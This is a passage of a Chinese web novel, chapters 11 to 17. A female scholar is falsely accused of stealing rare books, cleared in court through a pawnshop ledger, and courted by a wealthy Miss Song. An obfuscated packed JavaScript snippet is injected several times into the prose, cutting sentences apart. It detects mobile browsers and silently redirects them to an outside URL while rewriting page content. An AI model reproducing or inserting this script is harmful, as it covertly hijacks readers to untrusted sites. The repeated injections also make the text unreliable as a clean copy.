婉拒了小厮给她倒茶后，她拿起药包和药罐子，顶着渐渐下大的雨，飞快回到了斋舍。 从半开的窗户看去，林岁欢坐在云卿的床头，手里拿着几本皱巴巴的书籍，正附身在云卿旁边说着什么。 江溪竹没有进去，在旁边的小灶上熬起了捡回来的药。 药罐下火焰跳跃，竹条烧得噼里啪啦作响。江溪竹摇着扇子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730900|174012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢慢扇着风，不自觉想起了午时在如意居发生的事。 她到现在还是想不明白一个从未见过面的女人怎么会想着和她结婚。 因为她的秀才身份？可镇上秀才这么多，不止她一个。 难不成因为她是个女秀才？但女秀才也不止她一个，屋内就还杵着两个呢。 “成亲……”江溪竹垂下眼，低声呢喃，放空的眼里满是复杂。 从前的经历让她对婚姻并不期待，更别说是和一个陌生女人的婚姻了，真是……有够奇怪的。 罢了罢了，又不会成的事，想这么多做什么？ 她抿着唇，摇了摇头，目光放在了药罐下面，认真地看着火候。 …… 第二天清晨，喝了两碗药的云卿气色看起来好多了，她抬眼看向屋外的细雨时，多了些神采，添了几分人气。 江溪竹仔细看着她，似乎被她放松的姿态感染，也静静听着淅淅沥沥的小雨拍打在竹叶上，沙沙的声音在耳畔游荡。随后闭眼静听，身上背负的包袱好像轻了许多，不再沉甸甸的，压得她胸口闷闷的，喘不过气。 片刻之后，见云卿低头开始抄录古籍，江溪竹没有打扰，脚步轻缓地出了屋子，开始熬待会儿要喝的药。 “虚白！虚白！”刚一蹲下，身后远远传来急切地呼喊，似有什么急事。 江溪竹扭头看去，是书院里一名比较熟的同窗，便起身打了招呼：“找我可有什么事？” 同窗跑到她面前，抹了一把额头上的汗水，喘了几口气后，低声说道：“衙门那边来了好几个衙役，说是要抓你去审问！夫子让我赶紧来找你，问问是什么情况。” “衙门？要抓我回去审问？”江溪竹有些诧异，看着同窗的神色，似乎想瞧一瞧他是不是在扯谎骗她。 同窗是真的很着急，拉着她就往外走，边走边说：“说是谁弄丢了很值钱的东西，查了之后发现你的嫌疑最大，所以衙门要审审你。” 江溪竹见他不像在撒谎，思索片刻后搁下扇子，把药罐拿起来，灭了炉子里的火，随口同屋内的云卿交代了几句，便和这名同窗离开了。 “云卿，我现在有点急事要离开，你等待会儿岁欢回来了，再让她给你煎药。” 12. 第 12 章 衙门里弥漫着陈年墨臭，昏暗的屋子里点着灯，无数细小的尘埃在投下的光柱里浮动，映照出了案桌之后镇长那张油光满面的脸。 “……江秀才，昨日下午你是否进过承平书院堂长余秉章的院子里？是否从他的书房里偷拿了他的古籍孤本？” 江溪竹到了养正轩，还未同夫子询问发生了什么事，就被一众衙役带到了衙门里。 一路上拉拉扯扯，她才明白自己犯了什么事。 这会儿镇长例行公事询问，她站直身板，朝上首拱了拱手，不急不缓地答：“回镇长的话，昨日午后我去何夫子屋里借了个药罐，路过了余堂长的院子，当时余堂长的小厮正在收书，他见快下雨了，怕收不完，便请我帮他收拾……” 她仔细回想着昨日的细节，一五一十地说得很清楚。 镇长点了点头，“如此，传余堂长的小厮上前来。” 惊木堂啪地拍下，被带上来的小厮吓得一下子跪倒在地，哆哆嗦嗦地交代着昨日的事：“大人……昨日我是请了江秀才帮忙搬书，但之后她喝了我给她倒的茶，说有点凉了，让我去换一壶热水来泡茶，然后……然后我没防备，就出去打热水了……所以我走了之后，江秀才一个人在书房里……” 江溪竹诧异地回头看了一眼小厮，在瞧见他躲闪的眼神后，心下了然。 这是要栽赃陷害她啊。 “江秀才，小厮所说，与你说的，有很大的出入。”镇长抚着胡须，按照流程继续询问江溪竹，“你可有证据证明你在帮他搬了书后就离开了？” 江溪竹抬起头：“我回去的路上没有遇上什么人，所以无人能证明我离开的时间。但是他说我把他支走，那他可有证据？如果他也没有证据，那他的话也不能信。” 镇长想着是这个理儿，便转头问小厮：“你呢？有证据证明江秀才把你支开，之后一个人待在书房里吗？” “有！我有证人！”小厮咽了咽口水，高声喊道：“我去打热水的时候，开水房里的人都能做证。” 江溪竹没忍住笑出了声：“这算什么证据？我帮你搬了书离开之后，你去打开水，开水房的人也只能证明你当时去了开水房，但不能证明是我把你支走，更不能证明当时书房里只有我一个人，你明白吗？” 她摇了摇头，心想这真是个拙劣的陷害。 就不知她是哪里得罪这小厮，要让他搞这一出来害她了。 镇长再次拍下惊木堂，询问小厮的语气变得有些严厉：“你这个证据不成立，如果还没有其他证据，那么江秀才就没有盗窃的嫌疑。” 小厮的额头上满是大颗大颗的汗珠，他颤抖着用袖口擦了擦，眼珠乱转，随后还真想到一个证据来。 “大……大人，昨日去过堂长院子里的人就只有江秀才一个人，她一走，堂长的孤本就没了……肯定是她偷拿的！” “昨天下了雨，书房外面的泥地很潮湿，她的鞋上肯定粘上了那些泥，还有……还有堂长种的花草，她身上有花草的痕迹！但是其他人没有，所以……所以昨天只有她一个人到过书房！” 江溪竹眉梢微沉，还未低头查看，就听得镇长让人来检查她的鞋子和衣衫。 还好她有功名在身，女衙役的检查并没有太过分，只是让她张开双臂，随后附身仔细查看她的衣裙和鞋袜。 但正如她所料，她的衣摆处有花粉和花香，鞋底也还留着已经干掉的泥土。 她整理着被扯开的衣衫，抬头冷眼看着偷偷望过来的小厮，目光对视上，他便瑟缩着埋下了头。 原来昨日的请求帮忙并不是一时兴起啊，这小厮早就在谋划着要陷害她了，才会在她不注意的时候让她留下了这些痕迹。 “大人，留下查探的人回来了，他们说书院里的其他人在昨日确实没有去过余堂长的院子。”屋外进来了李捕头，带回了这个对江溪竹来说很不利的消息，“还有我们收集了书院外的鞋印子，和江秀才的鞋底比对，如果一致，那就证明昨日确实只有她一人去过书房。” 而后镇长要求比对鞋印子，结果一致。 江溪竹陷入了难以自证清白的地步，所有证据都对她不利。 她垂眸思索，再次把昨日搬书的所有细节想了一遍。但她一开始没设防，并没有留下能证明清白的证据。 这就难办了。 “江秀才，你可还有什么话要辩驳？”镇长靠在椅背上，姿态颇为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730901|174012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放松。 江溪竹敛眉，片刻之后，她斜眼看向跪在地上的小厮，缓声说道：“这些证据只能证明我昨日去过余堂长的书房，但不能证明是我盗窃了余堂长的孤本。” “昨日除我之外，虽然没有书院其他书生进入堂长的院子，但这名指证的小厮，他不算人吗？” 江溪竹走到小厮身边，居高临下地俯视着他，淡漠地说道：“如果是这名小厮自己偷拿了孤本，再栽赃到我头上呢？” 堂外已经围了一层一层看热闹的百姓，此时听到江溪竹的发问，深觉有理。 “对啊，万一是他背着余堂长偷了，再推到江秀才身上呢？” “完全有这个可能！这个小厮贼眉鼠眼的，一看就不是好东西。倒是江秀才为人正直，之前还帮着谢家秀才，脱离了那群财狼呢！所以我是不信她这样一个光明正大的人会偷盗的！” “就是就是！江秀才人很好，看着就一身正气，怎么可能是小偷，我看这个小厮才是小偷才对！” 围观的百姓你一言我一语，觉得自己猜测的才是正确的，便纷纷开始为江溪竹开脱。 随后再镇长要下令判决时，开始高喊抗议，要镇长再好好审问审问，这让一众衙役头都大了。 江溪竹半跪在地上，抿了抿唇，想着还好这个世界上清醒的人还算比较多，正义的人也比较多，不至于都像张成言这样，为了利益不折手段。 “肃静！肃静！不要胡乱揣测！干扰大人审案！”李捕头在镇长的示意下，带了几名衙役来到门口，压下了百姓们的呼喊。 但镇长还未松一口气，堂外传来一道清越的声音：“我有证据！” 百姓们一个一个回头看去，忙挤出一条道来，随后便看到一身蓝白长袍的林秀才和典当铺的掌柜身披日光走上前来。 “我有证据，证明是这名小厮偷盗了余堂长的孤本！”林岁欢快步来到堂前，她先是给了江溪竹一个放宽心的眼神，随后指着身后的掌柜说道：“这是典当铺的宋掌柜。” “我刚听说了江秀才的事，正好在典当铺里，宋掌柜一听孤本，便说今日天还未亮时，有一名鬼鬼祟祟的男子去了铺子里，找他死当了几本前朝孤本。” 13. 第 13 章 宋掌柜接过话头，详细描述了今日一早的事。 “……来典当的人拿了这几本古籍来，说是家中已经一贫如洗，只能把家传的孤本拿来当了，换些银子。我见他实在可怜，还多给了他一两银子呢。” 几本皱皱巴巴的古籍被呈到了镇长的案桌上，他翻阅查看，点了点头：“是余堂长丢失的那几本。” 随后他不自觉皱起眉头，抬眼看着宋掌柜，“你确定这些孤本不是江秀才拿去铺子里典当的？作伪证，可是要吃牢饭的。” 宋掌柜连连摇头：“我确定不是江秀才拿来典当的。那日江秀才在西街出头，救下了被逼婚的谢秀才，我是跟着去凑了热闹的，自然认得出江秀才是何模样。” 江溪竹盯着上首沉默的张成言，漠然开口：“大人，孤本丢失的昨日，只有我和这小厮去过堂长的书房。既然这位掌柜说拿着孤本去典当的人不是我，那便让掌柜来认认，是否是这小厮？” 说着，她转头看着垂手而立的宋掌柜，淡声问道：“掌柜的，你瞧瞧这场上可有拿着孤本去典当的人？” 堂内一片寂静，唯有小厮急促的呼吸声分外明显。 宋掌柜环顾一圈，随后定睛一看，指向跪趴在地上的小厮，“是他，早上的时候他也是穿的这一身灰衣，领口还缝了一片灰褐色的布料。” “不……不是我！”小厮不敢抬头，颤抖着身子，一个劲儿地否认，“我没去过什么当铺！我这衣服……这衣服穿了好几天了，你找人来诬陷我，拿这个当证据说我去了当铺，也……也根本不成立！” 宋掌柜浅浅一笑，从袖口里拿出来一本册子，“这上面记录了哪年哪月哪日，何人来典当了何物。最后面那一页，就写了你典当的古籍，并且还有你按的手印。” 册子被衙役呈到了镇长面前，他翻到最后一页，上面的信息清楚明了，正是这小厮把古籍拿去典当的。 “大人，还有，”宋掌柜拱了拱手，继续说道：“他说一锭银子不好拿去使用，让我给他换成铜板。而我给他的那几吊铜板穿的绳子上有典当铺的印记。” 张成言沉着脸，示意衙役搜身。 小厮吓得差点尿出来，他挣扎着，偏头冲宋掌柜大喊道：“你不是说……说那本册子是当铺绝密，不会轻易拿出来吗？” 他这话一出口，张成言彻底闭上了眼。在衙役们搜出了铜板上的绳子后，他抚着眉心，朝李捕头摆了摆手，“证据确凿，以偷盗罪和污蔑罪论处，押下去吧。” 而后他看向神色冷淡的江溪竹，稍稍安抚道：“你的嫌疑洗清了，无事了。” 散了堂后，林岁欢赶紧拉着江溪竹走出去，在街边随手折了一支绿油油的枝叶，绕着她的身子扫了一圈。 “现在没有艾草去晦气，这个就将就着用。在衙门里转了一圈，看着人都霉了。” 江溪竹见她扫得认真，也只有摊开手来配合，“你今天不是去送信件了吗，怎么知道我来衙门了？” 林岁欢仔细扫完，丢开了那节枝叶，拍了拍手，朝刚踏出衙门的宋掌柜怒了努嘴：“她说是她东家让她拿着册子来找到我，然后我们就一起来了。” 江溪竹回头看去，稍稍挑眉。 “东家是宋府大小姐。”宋掌柜笑眯眯地直接交代了来龙去脉，“大小姐得知了您的事，一查就知道您是被冤枉的，便让我来为您作证。” 又是那位宋小姐啊。江溪竹不自在地摸了摸鼻尖，哑声对宋掌柜道了一句谢。 “无妨，大小姐让您不必有什么负担，说若是真想道谢，可以亲自去如意居见她。”宋掌柜带了话，没有多停留，告辞后悄然离开了衙门。 风声飒飒，化为鼓声，慢慢在心头敲击。 “嗯？宋小姐？”林岁欢察觉到空气中似有一丝隐秘的不对劲，眯了眯眼，压低了声音问：“你和宋小姐认识？很熟？” 江溪竹赶着回书院，随口一答：“不太熟。” 林岁欢见她面色如常，不像在敷衍。想了想或许宋小姐为人善良，乐于助人呢？毕竟云卿以后的好差事，可就是宋小姐介绍的。 所以美丽高贵又良善的宋小姐得知江秀才有难，随手帮一把，也是不值一提的吧？ 只是她跟上江溪竹的步伐，侧头看去，怎么觉得这张原本白皙的脸变得……一片绯红呢？ …… 衙门后院，四四方方的亭子里摆放着一盘棋子，上首坐了个年岁颇大的男人，眼角的细纹在听到张成言说事情败了后，变得有些凌冽，深深的沟壑里似乎塞满了冷漠和狠辣。 “…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她耸了耸肩，没再理会还在叽叽喳喳的两人，把自己清洗一遍后，躺在了竹床上。 窗户开了一条缝，竹林摇曳着无边夜色，倒映在莲花湖面，映出了粼粼的碎玉光泽。 枕头下的东西硌得慌，江溪竹伸手摸了摸，指腹在描着精致花纹的盒面来回摩挲。 许久，她拿了出来。 柔和的月光落在盒子上，似乎披上了那人身上月牙白的轻纱，和她一般温柔，吸引了所有的目光。 14. 第 14 章 恍然间似乎见到那人斜倚在雕花木椅上，漂亮的脸隐在茶烟之后，眸色清冽如窗外月华，却偏在唇角藏着一抹似有若无的笑。 倏尔远处竹林忽起簌簌的声响，夜风拂过，吹散周围寂静。江溪竹蓦然回神，发觉时间已过了许久，她敛下眉眼，把药盒重新塞回来了枕下。 心里藏着事，一整晚都睡得不安稳。 天蒙蒙亮时，听得旁边的林岁欢轻手轻脚地起身，到了屋外，似乎是在给云卿熬药了。 江溪竹缓缓睁开眼，起身揉了揉有些发晕的脑袋，穿戴整齐后也悄然走了出去。 推开斋舍的木门，冷冽的空气迎面而来。 远处膳堂的烟囱已经冒起了缕缕青烟，米粥的香气混着柴火气，缓缓漫过石板路。 “今天起这么早？”林岁欢听得身后动静，扇着炉子里的火，回头瞧见来人，调笑道：“我都好久没见你起这么早了，你要去膳堂吗？去的话，帮我和云卿带点粥和馒头呗。” 饭香勾起了腹中馋虫，江溪竹摸着肚子，应下了带饭的事。只是她没立马去膳堂，在原地踌躇一会儿后，她轻咳一声，附身蹲在林岁欢身边，拿着火钳拨弄着炉火，不经意地说：“昨日的事谢谢了啊。” 林岁欢没抬头，仔细看着火候，“你要说谢就太见外了啊。” 等了片刻，身旁似乎还是没有动静，她诧异地扭头，瞧见蹲在身侧的人紧抿着唇，放空的目光里藏了些犹豫。 眼珠转了转，她歪着脑袋，试探性地问：“虚白啊，你想道谢的人，不止我一个吧？” 江溪竹眨了眨眼，眼神微变，像莲花湖面被风拂过圈圈涟漪。 “你昨日不是说和宋小姐不太熟吗？”林岁欢低声一笑，拿肩撞了撞她的胳膊，打趣的意味十分明显，“怎么今日想去见见她？道个谢？” 江溪竹别开眼，还是不吭声，只是在长发半遮半掩下的耳根却陡然泛红。 林岁欢惊异地指着她涨红的脸，随即半眯着眼，凑近看了看。 “我最近听说宋家大小姐在物色成亲对象，好像对女子格外青睐，难道你……打算自荐枕席？” 炉中火光跳跃，映出江溪竹一瞬间紧绷的脸。她藏在袖中的手无意识蜷紧又松开，轻舔了下唇，低声解释道：“我没打算和她成亲，我只是想着她帮了我好几次，应该要好好感谢感谢她。” 这话信息量很足，林岁欢花了好一会儿时间才消化。她环顾四周，随后压低了声音问：“等等……你的意思是宋小姐同你说过，要和你成亲？” 江溪竹难以忽略她眼底的八卦意味，心中思忖成亲一事不成，也不能在外随意透露宋小姐的私事，便摇了摇头：“我不清楚她会和谁成亲，我只是想感谢她的帮助。” 没吃到瓜，林岁欢的兴味散了些，但也帮迷茫的人指了条路：“宋小姐家财万贯，应当是什么都不缺的。只是最近她却有烦恼之事，嗯……就是我刚刚跟你提起的亲事。” 说到这儿，她又刻意压低了声音：“你知道为什么宋小姐在物色心仪的人选吗？因为她不满意她爹给她硬塞的人。那人咱们也认识，就是从前书院丙班的杜书行，后来他不是因为啥事儿被劝退了吗？就回家继承了他家的小茶楼，现在又打算入赘宋家，抱抱大腿呢。” 杜书行这个名字很耳熟，江溪竹敛眉沉思，片刻后从原身的记忆里找到了一些重要的信息。 她的眼眸一亮，犹如破晓的曙光，驱散了连绵的阴霾。 “我知道怎么感谢宋小姐了。” 她浑身充满了劲儿，猛地站起身来，就要往外走。 “诶！你要怎么感谢啊？”林岁欢只觉得一眨眼， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“请坐。”简单两个字眼，如同润了水一般，带着几分撩人的柔媚，但神色浅淡，不带一丝刻意。 江溪竹移开眼，坐在了软塌另一边，隔着中间的小方桌，同对面的女人谈起了来寻她的目的，“宋小姐，昨日的事，多谢了。” 宋含玉搁下手中的书卷，略微坐直了身子，上挑的眼尾如浸润了春桃的粉，“那你想怎么感谢我？” 江溪竹咽了咽口水，保持着头脑清醒，极快地回道：“听说宋小姐家中挑选了杜书行作为入赘对象……而刚好我得知杜书行一些事，或许可以帮宋小姐摆脱这门婚事。” 闻言，女人脸上惯常的笑意淡了几分，她半阖眼眸，嗓音低缓：“那你说说看。” “杜书行从前与我算是同窗，不过去年他已经被书院劝退了，后来听说也没有哪家书院收他，他也就歇了继续科举的心思，回到家中继承了那个小茶楼。” 江溪竹垂着眼眸，却也能感知到女人炙热的目光，她抿了抿唇，捏紧了衣角。 “他被劝退，其实是因为他和书童……白日宣淫，被我和夫子撞见，闹到了山长那儿。所以……所以他品行不好，想要与你成亲，多半是为了你的家产，你……你最好不要和他在一起。” 说到最后一句时，她偷偷抬眼，目光在女人柔美的脸上扫过，瞧见她浅茶色的眸子似乎在放空，便没再移开视线。 近距离不着痕迹的打量，她忍不住在心中赞叹——宋小姐的模样当真是极美，就算是加上上辈子遇见的美人，宋小姐的美貌也算得上翘楚了。 而这样一个美如天仙的人，似乎对自己有点意思，之前还透露要和自己成亲的意思…… 江溪竹担心自己道心不稳，忙摇了摇头，拉回了神思。 “你说的这个，对我确实有帮助。”宋含玉消化了这个让她有些震惊的消息，随即心情极好地朝少女展露出一个明媚的笑，“除了这个，不知江秀才还有别的要说的吗？” 不愧是冰肌玉骨的大美人，只一个简单的笑，就几乎晃花了江溪竹的眼，让她不太争气地转过脸去，哑声回应：“没……没了。” “这样啊。”宋含玉似乎瞧出了少女隐秘的羞赧，不动声色地用目光描摹着从脸颊到耳根处泛起的绯红，“那江秀才可还记得，之前我与你提起的事？” 柔媚的嗓音像是轻飘飘的羽毛，缓缓在耳廓拂过。 江溪竹的身子有些僵硬，“……记得。” 宋含玉浅浅一笑，“当日江秀才拒绝了我，今日若我将聘礼加到一千两，再将南街的一座三进院子划到你的名下呢？” 她倚靠在软枕上，葱白的手在方桌上轻叩，“不知江秀才可愿意？” 一千两？还有一座三进的院子？ 江溪竹头皮发麻，内心陷入了天人交战之中。 从前她家里还算富有，即便父亲偏心弟弟，但也从来没在衣食住行上让她为难。所以到了这个世界后，贫穷的生活让她很不适应，心心念念的就是如何赚钱过上好日子。 但现在还没想好挣钱的活计，这财大气粗的宋小姐就要给她千两银子作聘礼！还外加一个大院子！ 好难拒绝。 好难。 “如何？”宋含玉很有耐心，静静等待着少女的回应。 江溪竹望进女人半阖的眼眸里，不自觉被深深吸引，像是陷入了一个无底的漩涡之中，不断地下坠，再下坠。 心跳似乎变得极为缓慢，连呼吸都停滞了。 许久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730904|174012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，涨红了脸的人狼狈地低下头，甩掉脑海里繁杂的思绪。她捏了捏袖口，再一次闭眼拒绝：“我觉得不太合适，所以宋小姐还是另找她人吧。” 她能明显感觉到自己被这女人吸引了目光，甚至是差点溺毙在那双蕴满了柔情的双眸里。 这样失控的感觉，不适合她。 “我要说的话，已经说完了。”捂着砰砰乱跳的心口，江溪竹起身告辞，“抱歉。” 垂落的轻纱一层一层被撩开，在半空之中飘散出杂乱的弧度，像是某人的心，乱得不像样。 宋含玉神情未变，茶色的眸子目送着少女的身影逐渐消失在暗门之外。 …… 今年的春雨格外得多，才晴朗三五日，便又在清晨时分淅淅沥沥下个不停。 少有人烟的窄巷子里，一辆朴素的马车慢悠悠停在了柳府的后门。 两名小厮撑着伞，将马车内的人迎进了院子里。 后院的书房里早已候着两人，门被敲响后，坐于上首的柳家主应了一声：“进来。” 黑沉着脸的余秉章挥退了带路的小厮，不紧不慢地坐在了柳岐的对面，扫了一眼柳氏父子两人，他掸了掸衣角，漠然开口：“上次的事，我看在你们京城本家的面子上，才勉强帮了一把。” “可她没被关进牢里！”柳岐年轻，不懂得压抑情绪，不等余秉章说完，就迫不及待地接了话，语气里还隐隐有些不满。 柳家主忙出声喝道：“岐儿！不许胡言！” 余秉章抬了抬手，斜睨一眼，“柳客雨，今日我来此，便是要说那姓江的事。皇后娘娘对参加科举的女子颇为重视，你要对付姓江的，最好不要太明显，不然闹到了吕文瀚那儿去，我可不会帮你说和。” 柳家主平和地笑了笑：“这是自然，这次是岐儿亲自出手，不会留下什么把柄，余堂长您放心便是。” 16. 第 16 章 檐角的雨簌簌垂落，连绵成串，将远处的天际缝合成朦胧的水雾，清幽的莲花湖似被淡墨晕染开若隐若现的轮廓。 书院里传出阵阵读书声，与哗啦啦的雨声纠缠，渐渐往外蔓延。 平静的日子过去了两三日，江溪竹刻意遗忘了那日如意居里宋小姐提起的婚事与聘礼，但偶尔的出神仍旧是让她明白，自己的心神早已被影响。 “虚白？别发呆了，快把这些书装上啊。”屋内的人忙个不停，林岁欢把衣衫鞋袜收进包袱里，一扭头就瞧见窗边的人盯着外面的小雨，不知在想什么。 她上前几步，轻轻拍了拍她的肩，眯着眼打量，好似嗅到了空气里不对劲的气息，“你最近几天老是这样，到底怎么了？莫不是上一次你去寻宋小姐，发生了什么意外？” “意外”两个字被她说得很轻，像是看破了什么，语气里掺杂着让人无法忽视的戏谑。 江溪竹摸了摸鼻尖，推开了越凑越近的人。 “……我只是在想四个月后的乡试，担心这一次又失败。” 林岁欢眨巴着眼，片刻之后，从不正经的试探切换到严肃的模样，“你的学问做得很好，连夫子都不住口地夸你，想必今年你好生准备，应当不会再出什么岔子的。” “而且现在为了我们这群要参加乡试的学子能安心准备，夫子都免了每日的课业，若有疑惑之处再去寻她解答即可。” 她摸着下巴，提了个建议：“反正以你的能力，乡试肯定没问题。主要是怕其他乱七八糟的事影响了你，毕竟……” 江溪竹前两次乡试失败的原因，书院里的人都很清楚。故而林岁欢并不担心她的学问不好，只担心又有什么“意外”会拖了她的后腿。 “要不然再过段时日，你回家去好好准备，免得和那谁撞上，他又给你使绊子。” 虽然她没什么证据，但她总觉得那些意外都与柳家那个纨绔子脱不了干系。所以为了以防外一，她觉得还是不要在书院里与柳岐出现矛盾为好。 “无妨。”江溪竹沉下眼，“他有什么招，只管使出来便是。” 她还怕柳岐不出手呢，不然怎么抓到他的把柄？ 林岁欢见她并不担惊受怕，点了点头：“行，如果有什么困难，我能帮到的，一定会帮你的。” 她拿起收拾好的包袱，随着江溪竹一起将其余书籍整理装箱，搬运到了屋外。 “走吧，给云卿搬家咯。” 谢云卿前几日就已经通过江溪竹把私塾启蒙夫子的活儿给商议好了，所以在她伤养好后，她迫不及待地准备收拾行李，前往南街的私塾。 林岁欢和江溪竹两人帮着她收拾，又提前叫了一辆马车来，装上所有行李，冒雨离开了书院。 马车驶离大门时，车帘被掀起了一角。 透过蒙蒙细雨，云卿回头凝望着门头上的“承平书院”四个大字，久久不语。 片刻之后，帘子的缝隙处，又挤出来一张粉嫩的脸。 林岁欢瞧了一眼渐渐消失在雨幕中的书院，侧头近距离看着眼带伤感的人。她拍了一下她的肩，咧嘴一笑：“当年咱们是同年进的书院，不过你比我早了几个月。现在你离开书院里，再过几个月，我和虚白也要离开了。” “也算是有始有终了。”她浅浅笑着，安抚般摸了摸她的头。 谢云卿闻着萦绕在周围的清浅幽香，慢慢垂下眼。抚在她后脑勺的手像是柔柔吹过的风，抚平心底泛起的圈圈涟漪。 “等我安顿好了，就请你们一起吃顿饭吧。”她靠在林岁欢的肩头，再次抬眼时，眸底的黯淡缓缓消失，晕染着期盼的碎光。 江溪竹坐在马车另一角，看着对面紧紧挨着的两人，不知在想些什么，只是下意识地点头应了下来。 林岁欢自然也没意见，她随手捏了捏臂弯处那张圆润温热的脸蛋，笑得很开怀：“你之前一直吹嘘自己厨艺好，那到时候亲自下厨吧！” 谢云卿双唇微抿，捏着衣角的手悄悄收紧，“好啊，你们想吃什么，我就做什么。” 一片欢声笑语中，马车穿过滴滴落下的雨珠，驶向远方。 …… 忙了一整天，直到夜幕降临，江溪竹和林岁欢才披着蓑衣回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730905|174012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了书院斋舍。 甩了甩发尾的水渍，江溪竹点燃了屋内的油灯，转头瞥见解开斗篷的人脸上还挂着柔和的笑意，她敛眉沉思，而后开口低声询问：“岁欢，我有一个问题，不知当问不当问。” 刚散开湿发的林岁欢：“？” 江溪竹的眼底闪烁着不确定的光，眼神游移许久，她拿手握成拳，放在嘴角，轻咳了两声。 “你和云卿……” 她不敢问出口，怕自己的猜测失误，可能还会坏了那两人的友谊。 林岁欢眯着眼，很是好奇：“我和云卿怎么了？” “没事，我就随口一说。”江溪竹摆摆手，打了水来，开始洗漱。 这倒是勾起了林岁欢的求知欲，她擦了擦脸，凑到江溪竹身边，低声问：“你是不是背着我，和云卿有什么小秘密？” “没有。”江溪竹否认之后，思索了一会儿，语气斟酌地说：“我就是想问问，之前皇后娘娘颁发了同性亦可成亲的旨意后，有多少人认可？有没有……两个女人真心喜爱，然后成亲组成家庭的？” 林岁欢挑了挑眉：“虽然认可的人不多，但也有两个男子或者两个女子在官府结契成亲，这蒙山镇上就有两对男子和一对女子组成了家庭。” “你问这个做什么？”认真答完，她一瞬间了然，顿时被惊地瞪圆了双眼，“你不会是想问……云卿和我会不会也是……那种关系吧？” 诡异的沉默中，江溪竹眨巴着眼，连连摇头：“不是，怎么会呢？你居然这样想？难道你……？” 林岁欢轻抿薄唇：“不许胡言乱语啊。” 随后推开紧紧打量着她的人，端着木盆快步走出屋子，她深深呼吸了一口外面清冽的空气，似乎才从方才的紧张之中活了过来。 江溪竹看着她逃也似的背影，耸了耸肩，心想还好没捅破她们之间的窗户纸，不然她就要成罪人了。 躺回床上，她闭上眼。只是翻来覆去许久，她的脑海里一直回闪着林岁欢那句话——旨意颁发后，有很多女子在官府结契成亲。 深夜寂寥，难以入睡啊。 17. 第 17 章 月上中天，春夜的空气里漫着一层薄雾，片片竹叶都染上了水渍，在夜风浮动下，啪嗒一声滴在泥地里，打碎了夜的寂静。 睡得并不安稳的人在翻了个身后，隐隐约约听到门口有些动静，随后急促的拍门声彻底搅散了惺忪睡意。 “虚白！虚白！快醒醒！”听这声音像是比较熟悉的同窗。 江溪竹睁开眼，支起身子穿上外衫，瞧见隔壁床的林岁欢也被吵醒了，脑袋探出了被窝，半眯着眼往门口看。 “找我的，你接着睡吧。”她快速穿上鞋袜，走到门边，拉开了一道缝隙。 门口的同窗见她开了门，总算是松了口气，忙说到这么晚还来敲门的缘由：“虚白，刚刚你们村子有个人来找你，说你家里起火了，房子都烧没了，你的母亲似乎不太好，要你赶紧回去看看！” “什么？”同窗的话像是一记重锤，敲在了脑门上，江溪竹抿了抿唇，出了屋子，合上房门后，随着同窗一起往外走。 在路上简单了解了情况，她让同窗帮忙给夫子带了话，便一溜儿烟出了书院。 门口等着的人是冯大姑，瞧见江溪竹从夜色里冲出来，她连忙拉着她的手，跳上了身后的牛车，一甩鞭子，赶紧往村里赶。 “……火是后半夜忽然起的，今晚没下雨，又吹着风，所以那火烧得快得很！” 